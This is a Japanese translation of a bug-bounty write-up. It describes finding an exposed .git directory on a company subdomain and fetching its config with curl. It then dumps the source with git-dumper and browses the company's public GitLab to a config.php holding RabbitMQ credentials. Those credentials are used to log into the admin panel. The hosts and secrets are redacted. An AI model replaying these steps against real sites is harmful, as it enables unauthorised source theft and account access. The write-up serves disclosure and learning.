Git Directory Exposed Leads to Credentials Disclosure から学ぶ

ソース:

medium.com

脆弱性:.git

 

訳:

実際、その時点ではバグハンティングは行いませんが、他のレポートの PoC (概念実証) スクリプトクラウドに配置/ホストするためのホスティング ソリューションを探すようにしています。
この会社 X で検索中に、そのサブドメインの 1 つでホスティング ソリューションを開きます https://subdomain.REDACTED.com/、突然 Chrome ブラウザに次の通知が表示されました。
.gitディレクトリが公開されました。 

 

DotGit が公開された .git を見つけました

それを証明するには、 .git/ディレクトリにアクセスできます。
使用できます。 curl指示: 

 

$ curl https://REDACTED.com/.git/config

[fetch]
recurseSubmodules = false
[http "https://gitlab.REDACTED.com"]
sslCAInfo = /home/gitlab-runner/builds/b8dc6653/0/dev/REDACTED.tmp/CI_SERVER_TLS_CA_FILE
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = https://gitlab-ci-token:REDACTED.REDACTED.com/dev/REDACTED.git
fetch = +refs/heads/*:refs/remotes/origin/*

 

完全なソース コードを取得するには、git-dumper などのツールを使用できます。

[1] インストールする git-dumper道具

[2] 次のコマンドを実行してソースコードをダウンロードします。

 

$ git-dumper https://REDACTED.com/.git output/
[-] Testing https://REDACTED.com/.git/HEAD [200]
[-] Testing https://REDACTED.com/.git/ [301]
[-] Fetching common files
[-] Fetching https://REDACTED.com/.git/COMMIT_EDITMSG [404]
[-] https://REDACTED.com/.git/COMMIT_EDITMSG responded with status code 404
[-] Fetching https://REDACTED.com/.git/description [404]
[-] Fetching https://REDACTED.com/.gitignore [404]
[-] https://REDACTED.com/.gitignore responded with status code 404
[-] https://REDACTED.com/.git/description responded with status code 404

[-] Finding refs/
[-] Fetching https://REDACTED.com/.git/HEAD [200]
[-] Fetching https://REDACTED.com/.git/ORIG_HEAD [404]
[-] Fetching https://REDACTED.com/.git/FETCH_HEAD [200]
[-] https://REDACTED.com/.git/ORIG_HEAD responded with status code 404
[-] Fetching https://REDACTED.com/.git/logs/refs/heads/master [404]
[-] https://REDACTED.com/.git/logs/refs/heads/master responded with status code 404
[-] Fetching https://REDACTED.com/.git/logs/refs/stash [404]
[-] https://REDACTED.com/.git/logs/refs/stash responded with status code 404
[-] Fetching https://REDACTED.com/.git/logs/refs/remotes/origin/master [200]
[-] Fetching https://REDACTED.com/.git/logs/HEAD [200]

[-] Fetching https://REDACTED.com/.git/objects/5d/9e30841d5e824ea6f73eb28b9a545253de829e [404]
[-] Fetching https://REDACTED.com/.git/objects/33/07be62f91262e602f6efa4927c0937208bcd13 [404]
[-] https://REDACTED.com/.git/objects/33/07be62f91262e602f6efa4927c0937208bcd13 responded with status code 404
[-] https://REDACTED.com/.git/objects/5d/9e30841d5e824ea6f73eb28b9a545253de829e responded with status code 404
[-] Fetching https://REDACTED.com/.git/objects/95/7188f1abdb63b7bd22c402f0c709774a945d08 [404]
[-] https://REDACTED.com/.git/objects/95/7188f1abdb63b7bd22c402f0c709774a945d08 responded with status code 404
[-] Running git checkout .

 

[3] ダウンロードを確実に行うには .gitフォルダーが有効であれば、実行できます git log指示。 

 

$ cd output/
$ git log

commit 987fa867dc39aba5afe11801040967d31a6ece77 (HEAD, origin/master)
Author: REDACTED <REDACTED@REDACTED.co.id>
Date: Tue Mar 2 14:21:53 2021 +0700

style: add meta tag og and twitter

 

[4] 次に、ダウンロードしたソースコードの構造を確認します。 tree指示。

 

$ tree

.
├── assets
│ ├── css
│ ├── img
│ │ ├── fitur
│ │ ├── harga
│ │ ├── header
│ │ │ └── icon-bg
│ │ ├── ikhtisar
│ │ └── kh-white-bg.png
│ ├── js
│ └── sass
│ ├── base
│ ├── components
│ ├── elements
│ ├── form
│ ├── grid
│ ├── helpers
│ ├── layout
│ └── utilities
└── index.html

 

ソースコード

次に、git/configファイルにリストされている Gitlab アドレスを調べてみました、つまり https://gitlab.REDACTED.com/ 。

[1] プロジェクトを表示するには、次のリンクにアクセスします。 https://gitlab.REDACTED.com/explore/projects.

[2] 次のファイルで認証情報の漏洩を発見しました https://gitlab.REDACTED.com/user/ck-rmq/-/blob/5a0aba8d59ea2c3a2127f9d49e05026772a54d3c/config.php

 

<?php

define("RABBITMQ_HOST", "stage.REDACTED.com");
define("RABBITMQ_PORT", 5672);
define("RABBITMQ_USERNAME", "REDACTED");
define("RABBITMQ_PASSWORD", "REDACTED");

 

[3] 資格情報が有効であることを証明するために、RabbitMQ Web 管理ページにアクセスしてみました http://stage.REDACTED.com:15672/上記の認証情報を入力した後、システムに正常にアクセスできました。 

 

RabbitMQ Web 管理

 

ほなほな。